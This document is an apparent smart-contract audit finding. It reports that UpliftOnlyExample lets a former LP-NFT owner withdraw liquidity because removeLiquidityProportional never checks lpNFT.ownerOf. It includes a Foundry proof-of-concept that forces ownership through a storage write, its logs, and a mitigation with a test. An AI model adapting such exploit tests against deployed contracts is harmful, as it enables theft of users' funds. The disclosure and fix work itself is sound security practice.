Summary
The UpliftOnlyExample contract relies exclusively on its internal bookkeeping (poolsFeeData) for ownership checks when users withdraw liquidity tokenized as NFTs. Because it does not validate actual NFT ownership via lpNFT.ownerOf(tokenID), an old owner is able to withdraw funds after transferring the NFT to a new owner.
Vulnerability Details
The vulnerability resides in the removeLiquidityProportional function. This function only checks if msg.sender has deposit records in poolsFeeData[pool][msg.sender] but does not confirm if msg.sender still owns the associated NFT at the ERC721 level (lpNFT.ownerOf(tokenId)).
If the afterUpdate hook, which synchronizes poolsFeeData with the actual NFT ownership, is not called during a transfer or fails, the internal data remains outdated. This allows the old owner of the NFT to withdraw liquidity even after transferring the NFT to a new owner.
The root cause lies in the contract's assumption that poolsFeeData is always accurate, which is not guaranteed in scenarios where afterUpdate is bypassed.
-
UpliftOnlyExample.sol - removeLiquidityProportional
-
Location: The removeLiquidityProportional function checks if there are deposits registered under the user in poolsFeeData[pool][msg.sender], but it does not confirm whether msg.sender is still the real owner of the NFT in the ERC721 contract.
-
Cause: If the NFT transfer (e.g., transferFrom) does not call afterUpdate or fails to do so, the records in poolsFeeData remain outdated. The "old owner" is still listed as the owner in poolsFeeData, even though the NFT is now held by another address in the lpNFT contract.
-
Effect: The contract does not include require(lpNFT.ownerOf(tokenID) == msg.sender), allowing the old owner, identified internally, to withdraw liquidity that no longer belongs to them.
Impact
The root cause centers on the contract’s failure to confirm real NFT ownership on withdrawal. This allows:
Unauthorized Withdrawals: The old NFT owner (who has since transferred the NFT) remains recognized in poolsFeeData and can still initiate a withdrawal.
High Financial Risk: If significant liquidity is tokenized, the new NFT owner loses funds, and the old owner gains them without rightful entitlement.
Desynchronization: Internal bookkeeping and actual ERC721 ownership become unsynchronized, producing confusion and potentially undermining trust in the system.
Proof of Concept
Below is a test named testVulnerability_MissingAfterUpdateAllowsOldOwnerWithdraw that illustrates the issue. It deposits liquidity for Bob, then force-changes the NFT’s ownership to Alice without calling afterUpdate. At this point, Bob is no longer the real owner at the ERC721 level, but the contract still considers him eligible to withdraw:
function testVulnerability_MissingAfterUpdateAllowsOldOwnerWithdraw() public {
console2.log('[STEP 1] Bob deposits liquidity');
uint256 bobDaiStart = dai.balanceOf(bob);
uint256 bobUsdcStart = usdc.balanceOf(bob);
console2.log("Bob's DAI before deposit:", bobDaiStart);
console2.log("Bob's USDC before deposit:", bobUsdcStart);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)]
.toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount,
false,
bytes('')
);
vm.stopPrank();
UpliftOnlyExample.FeeData[] memory bobFees = upliftOnlyRouter
.getUserPoolFeeData(pool, bob);
assertEq(bobFees.length, 1, 'Bob should have exactly 1 deposit');
console2.log("Bob's deposits after adding liquidity:", bobFees.length);
uint256 mintedTokenId = bobFees[0].tokenID;
assertEq(mintedTokenId, 1, 'First minted token ID should be 1');
console2.log('Minted NFT tokenId for Bob:', mintedTokenId);
console2.log(
'[STEP 2] Simulate NFT transfer to Alice WITHOUT calling afterUpdate'
);
LPNFT lpNft = upliftOnlyRouter.lpNFT();
assertEq(
lpNft.ownerOf(mintedTokenId),
bob,
'Bob should own tokenId=1 initially'
);
console2.log(
'Current official owner of tokenId:',
lpNft.ownerOf(mintedTokenId)
);
bytes32 slot = keccak256(abi.encode(mintedTokenId, uint256(2)));
vm.store(address(lpNft), slot, bytes32(uint256(uint160(address(alice)))));
assertEq(
lpNft.ownerOf(mintedTokenId),
alice,
'Alice should appear as new owner after store hack'
);
console2.log(
'New official owner of tokenId after forced store:',
lpNft.ownerOf(mintedTokenId)
);
console2.log(
'[STEP 3] Bob withdraws liquidity despite no longer being the real NFT owner'
);
uint256 bobDaiBeforeWithdrawal = dai.balanceOf(bob);
uint256 bobUsdcBeforeWithdrawal = usdc.balanceOf(bob);
console2.log("Bob's DAI before withdrawal:", bobDaiBeforeWithdrawal);
console2.log("Bob's USDC before withdrawal:", bobUsdcBeforeWithdrawal);
uint256[] memory minAmountsOut = new uint256[]();
minAmountsOut[0] = 0;
minAmountsOut[1] = 0;
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(
bptAmount,
minAmountsOut,
false,
pool
);
vm.stopPrank();
console2.log('Bob successfully withdrew liquidity (vulnerable scenario).');
uint256 bobDaiAfterWithdrawal = dai.balanceOf(bob);
uint256 bobUsdcAfterWithdrawal = usdc.balanceOf(bob);
console2.log("Bob's DAI after withdrawal:", bobDaiAfterWithdrawal);
console2.log("Bob's USDC after withdrawal:", bobUsdcAfterWithdrawal);
bobFees = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
assertEq(
bobFees.length,
0,
'Bob should have no remaining deposits after withdrawal'
);
console2.log("Bob's deposits after withdrawal:", bobFees.length);
UpliftOnlyExample.FeeData[] memory aliceFees = upliftOnlyRouter
.getUserPoolFeeData(pool, alice);
assertEq(
aliceFees.length,
0,
'Alice should have no deposits in poolsFeeData'
);
console2.log("Alice's deposits in poolsFeeData:", aliceFees.length);
console2.log(
"[CONCLUSION] Old owner (Bob) withdrew because the contract never checked 'lpNFT.ownerOf'."
);
}
Explanation
Step 1: Bob deposits liquidity and receives an NFT (tokenId: 1). The deposit is recorded in poolsFeeData[pool][bob].
Step 2: The NFT is force-transferred to Alice by manipulating storage. Now, Alice owns the NFT in the lpNFT contract, but poolsFeeData is not updated.
Step 3: Bob successfully withdraws liquidity because the contract does not verify real ownership via lpNFT.ownerOf.
Logs:
[STEP 1] Bob deposits liquidity
Bob's DAI before deposit: 1000000000000000000000000000
Bob's USDC before deposit: 1000000000000000000000000000
Bob's deposits after adding liquidity: 1
Minted NFT tokenId for Bob: 1
[STEP 2] Simulate NFT transfer to Alice WITHOUT calling afterUpdate
Current official owner of tokenId: 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
New official owner of tokenId after forced store: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6
[STEP 3] Bob withdraws liquidity despite no longer being the real NFT owner
Bob's DAI before withdrawal: 999999000000000000000000000
Bob's USDC before withdrawal: 999999000000000000000000000
Bob successfully withdrew liquidity (vulnerable scenario).
Bob's DAI after withdrawal: 999999999500000000000000000
Bob's USDC after withdrawal: 999999999500000000000000000
Bob's deposits after withdrawal: 0
Alice's deposits in poolsFeeData: 0
[CONCLUSION] Old owner (Bob) withdrew because the contract never checked 'lpNFT.ownerOf'.
Logs confirm that Bob's final withdraw call succeeds, even though Alice is the real NFT owner
Tools Used
Foundry: Used to develop and run tests validating that Bob, the old NFT holder, withdraws after ownership has changed.
Manual Code Review: Confirms that removeLiquidityProportional never checks lpNFT.ownerOf(tokenID).
Recommendations
-
Check Real Ownership:
Implement a direct check in removeLiquidityProportional similar to:
require(lpNFT.ownerOf(tokenId) == msg.sender, "Not the real owner");
This prevents an old owner from withdrawing.
-
Enforce afterUpdate:
In the LPNFT contract, automatically invoke afterUpdate in _beforeTokenTransfer or _afterTokenTransfer so poolsFeeData stays aligned with actual ownership.
-
Remove Redundant Bookkeeping:
Consider using lpNFT.ownerOf(tokenId) to drive all ownership checks instead of storing parallel records in poolsFeeData. This avoids potential desynchronization.
-
Implement _verifyRealNftOwnership in removeLiquidityProportional
Incorporate a dedicated function (e.g., _verifyRealNftOwnership) to confirm that the caller truly holds the NFT at the ERC721 level. For instance:
function _verifyRealNftOwnership(
address pool,
address user,
uint256 bptAmountIn
) private view {
FeeData[] memory userFeeData = poolsFeeData[pool][user];
uint256 totalFound;
for (uint256 i = 0; i < userFeeData.length; i++) {
uint256 tokenId = userFeeData[i].tokenID;
if (lpNFT.ownerOf(tokenId) != user) {
revert WithdrawalByNonOwner(user, pool, bptAmountIn);
}
totalFound += userFeeData[i].amount;
}
if (bptAmountIn > totalFound) {
revert WithdrawalByNonOwner(user, pool, bptAmountIn);
}
}
function removeLiquidityProportional(
uint256 bptAmountIn,
uint256[] memory minAmountsOut,
bool wethIsEth,
address pool
) external payable returns (uint256[] memory amountsOut) {
_verifyRealNftOwnership(pool, msg.sender, bptAmountIn);
...
}
This code ensures the old owner cannot withdraw if the NFT is no longer in their possession.
Validation Through Testing
function testMitigation_RealNftOwnershipPreventsOldOwnerWithdraw() public {
console2.log('[STEP 1] Bob deposits liquidity');
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)]
.toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount,
false,
bytes('')
);
vm.stopPrank();
UpliftOnlyExample.FeeData[] memory bobFees = upliftOnlyRouter
.getUserPoolFeeData(pool, bob);
assertEq(bobFees.length, 1, 'Bob should have exactly 1 deposit');
uint256 mintedTokenId = bobFees[0].tokenID;
console2.log('Minted NFT tokenId:', mintedTokenId);
assertEq(
upliftOnlyRouter.nftPool(mintedTokenId),
pool,
'nftPool mapping mismatch'
);
console2.log('[STEP 2] Force NFT transfer to Alice (bypassing afterUpdate)');
LPNFT lpNft = upliftOnlyRouter.lpNFT();
assertEq(
lpNft.ownerOf(mintedTokenId),
bob,
'Bob should be current NFT owner'
);
bytes32 slot = keccak256(abi.encode(mintedTokenId, uint256(2)));
console2.log('Forcing NFT ownership at storage level to Alice...');
vm.store(address(lpNft), slot, bytes32(uint256(uint160(address(alice)))));
assertEq(
lpNft.ownerOf(mintedTokenId),
alice,
'Alice should appear as new owner'
);
console2.log('ERC721 now shows Alice as the official owner');
console2.log(
'[STEP 3] Bob tries to withdraw but should revert (mitigation check)'
);
uint256[] memory minAmountsOut = new uint256[]();
minAmountsOut[0] = 0;
minAmountsOut[1] = 0;
vm.startPrank(bob);
vm.expectRevert(
abi.encodeWithSelector(
UpliftOnlyExample.WithdrawalByNonOwner.selector,
bob,
pool,
bptAmount
)
);
upliftOnlyRouter.removeLiquidityProportional(
bptAmount,
minAmountsOut,
false,
pool
);
vm.stopPrank();
console2.log(
'[CONCLUSION] Because of real NFT ownership checks, Bob cannot withdraw if he no longer owns the NFT.'
);
}
Test Result
Logs:
[STEP 1] Bob deposits liquidity
Minted NFT tokenId: 1
[STEP 2] Force NFT transfer to Alice (bypassing afterUpdate)
Forcing NFT ownership at storage level to Alice...
ERC721 now shows Alice as the official owner
[STEP 3] Bob tries to withdraw but should revert (mitigation check)
[CONCLUSION] Because of real NFT ownership checks, Bob cannot withdraw if he no longer owns the NFT.
Result: The logs show that after Bob deposits and receives an NFT (tokenId = 1), we forcibly reassign the NFT to Alice’s address without calling afterUpdate. When Bob tries to withdraw, the contract checks real NFT ownership and correctly prevents Bob from withdrawing, confirming the mitigation works as intended.